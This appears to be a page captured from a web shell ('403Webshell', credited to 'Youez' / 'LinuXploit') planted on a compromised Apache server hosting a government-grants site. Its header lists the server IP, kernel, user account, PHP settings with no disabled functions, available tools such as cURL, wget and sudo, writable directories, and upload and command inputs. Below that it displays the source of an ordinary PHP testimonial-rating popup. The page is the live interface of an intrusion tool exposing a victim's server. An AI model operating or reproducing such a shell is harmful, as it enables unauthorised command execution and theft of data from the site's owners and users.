403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/usa/members_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/usa/members_old/rate_the_site_from_popup.php
<?php
include_once($_SERVER['DOCUMENT_ROOT']."/vx_/site_info.php");
?>
<script type="text/javascript">
	function update_feedback_star(stars) {
		stars = stars*1;
		$('#stars_input').val(stars);
		$('.stars').find('img').attr('src','/vx/usa/members/empty_star_icon.png');
		if(stars>=1) {
			$('#star_container_1').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
		}
		if(stars>=2) {
			$('#star_container_2').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
		}
		if(stars>=3) {
			$('#star_container_3').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
		}
		if(stars>=4) {
			$('#star_container_4').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
		}
		if(stars>=5) {
			$('#star_container_5').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
		}
	}
	function submit_testimonial_step_one(frm) {
		var errors = '';
		if($('#stars_input').val()=='0') {
			errors += (errors=='') ? '' : "\n";
			errors += 'Please click on a star to rate the site.';
		}
		if($('#testimonial_num_characters').html()*1 < 150) { 
			errors += (errors=='') ? '' : "\n";
			errors += 'Please enter at least 150 characters for your review.';
		}
		if(errors!='') {
			alert(errors);
		} else {
			var str = 'action=step_one';
			$(frm).find('input,select,textarea').each(function() {
				str += '&' + encodeURIComponent(this.name) + '=' + encodeURIComponent($(this).val());
			});
			$('#actual_feedback_form').html('<center><img src="/vx/usa/members/loading_icon.gif" /><br />Saving</center>');
			$.ajax({
				cache: false,
				type: "POST",
				url: "/vx/usa/functions/submit_testimonial_step_one.php",
				data: str,
				success: function(result) {
					$('#actual_feedback_form').html(result);
					$("#testimonial_file").change(function() {
						readURL(this);
					});
				}
			});
		}
	}
	
	function submit_testimonial_step_two(frm) {
		var errors = '';
		if($('#testimonial_num_characters').html()*1 < 150) { 
			errors += (errors=='') ? '' : "\n";
			errors += 'Please enter at least 150 characters for your testimonial.';
		}
		<?php /*
		if($('#testimonial_file').get(0).files.length === 0) {
			errors += (errors=='') ? '' : "\n";
			errors += 'Please select a file to upload.';
		}
		*/ ?>
		if(errors!='') {
			alert(errors);
		} else {
			var fd = new FormData(frm);
			$('#actual_feedback_form').append('<center><img src="/vx/usa/members/loading_icon.gif" /><br />Saving</center>');
			$('#testimonial_progress').show();
			$.ajax({
				cache: false,
				type: "POST",
				url: "/vx/usa/functions/submit_testimonial_step_two.php",
				data: fd,
				cache: false,
				contentType: false,
				processData: false,
				xhr: function () {
					var myXhr = $.ajaxSettings.xhr();
					if (myXhr.upload) {
						// For handling the progress of the upload
						myXhr.upload.addEventListener('progress', function (e) {
							if (e.lengthComputable) {
								$('#testimonial_progress').attr({
									value: e.loaded,
									max: e.total,
								});
							}
						}, false);
					}
					return myXhr;
				},
				success: function(result) {
					$('#we_want_feedback_form').remove();
				}
			});
		}
	}
	
	function readURL(input) {
		if (input.files && input.files[0]) {
			var reader = new FileReader();
			reader.onload = function(e) {
				$('#upload_preview').attr('src', e.target.result);
			}
			reader.readAsDataURL(input.files[0]); // convert to base64 string
		}
	}
	
	function toggle_testimonial_terms() {
		$('#testimonial_terms').toggle();
	}
</script>
<style>
	.stars {
		display:inline-block;
	}
	.stars img {
		width:50px;
		cursor:pointer;
	}
</style>
<div style="position:absolute;left:0px;top:0px;right:0px;bottom:0px;z-index:10;padding:0px;" id="we_want_feedback_form">
	<table style="width:100%;height:100%;">
		<tbody>
			<tr>
				<td style="background: rgba(255,255,255,0.7);">&nbsp;</td>
				<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
				<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
			</tr>
			<tr>
				<td style="background: rgba(255,255,255,0.7);">&nbsp;</td>
				<?php if($phone) { ?>
				<td style="background:rgba(255,255,255,0.7);width:100%;vertical-align:top;">
				<?php } else { ?>
				<td style="background:rgba(255,255,255,0.7);width:383px;vertical-align:top;">
				<?php } ?>
					<div style="border:10px solid #999999;position:relative;z-index:11;width:100%;max-width:383px;background:white;">
						<img src="/vx/usa/members/testimonial_header.png" style="position:absolute;left:76px;top:-60px;z-index:12;width:200px;" />
						<div style="position:absolute;top:10px;right:10px;font-size:32px;font-family:Arial;color:grey;cursor:pointer;" onclick="$('#we_want_feedback_form').remove(); return false;">X</div>
						<div style="padding-top:74px;">
						&nbsp;
						</div>
						<div style="padding:20px;" id="actual_feedback_form">
							<form method="post" action="#" onsubmit="submit_testimonial_step_one(this); return false;">
								<div style="padding:0px 0px 10px 0px;">
									How would you <strong>rate</strong> our site
								</div>
								<center>
									<input type="hidden" name="stars" id="stars_input" value="0" />
									<div id="star_container_1" class="stars" onclick="update_feedback_star('1'); return false;">
										<img src="/vx/usa/members/empty_star_icon.png" />
									</div>
									<div id="star_container_2" class="stars" onclick="update_feedback_star('2'); return false;">
										<img src="/vx/usa/members/empty_star_icon.png" />
									</div>
									<div id="star_container_3" class="stars" onclick="update_feedback_star('3'); return false;">
										<img src="/vx/usa/members/empty_star_icon.png" />
									</div>
									<div id="star_container_4" class="stars" onclick="update_feedback_star('4'); return false;">
										<img src="/vx/usa/members/empty_star_icon.png" />
									</div>
									<div id="star_container_5" class="stars" onclick="update_feedback_star('5'); return false;">
										<img src="/vx/usa/members/empty_star_icon.png" />
									</div>
								</center>
								<div style="padding:10px 0px;">
									<strong>What do you think? Add your review.</strong>
								</div>
								<div>
									<textarea name="how_can_we_improve" onkeyup="$('#testimonial_num_characters').html($(this).val().length);" placeholder="Type Here" required pattern=".{150,}" title="150 characters minimum" style="width:100%;height:120px;"></textarea>
								</div>
								<center>
									<i><strong><span id="testimonial_num_characters">0</span> / 150 characters required</strong></i>
								</center>
								<center style="padding:20px;">
									<input type="submit" value="Submit" style="padding:10px 20px;font-size:18px;height:auto;" />
								</center>
								<div>
									<center><i style="font-size:10px;">By submitting this form, I agree to the <a href="#terms" onclick="toggle_testimonial_terms(); return false;" style="color:blue;">terms</a> of this form.</i></center>
									<div id="testimonial_terms" style="display:none;"><i>By submitting this form, you agree to give <?= $site;?> authorization to use your feedback and review for marketing purposes.</i></div>
								</div>
							</form>
						</div>
					</div>
				</td>
				<td style="background: rgba(255,255,255,0.7);">&nbsp;</td>
			</tr>
			<tr>
				<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
				<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
				<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
			</tr>
		</tbody>
	</table>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit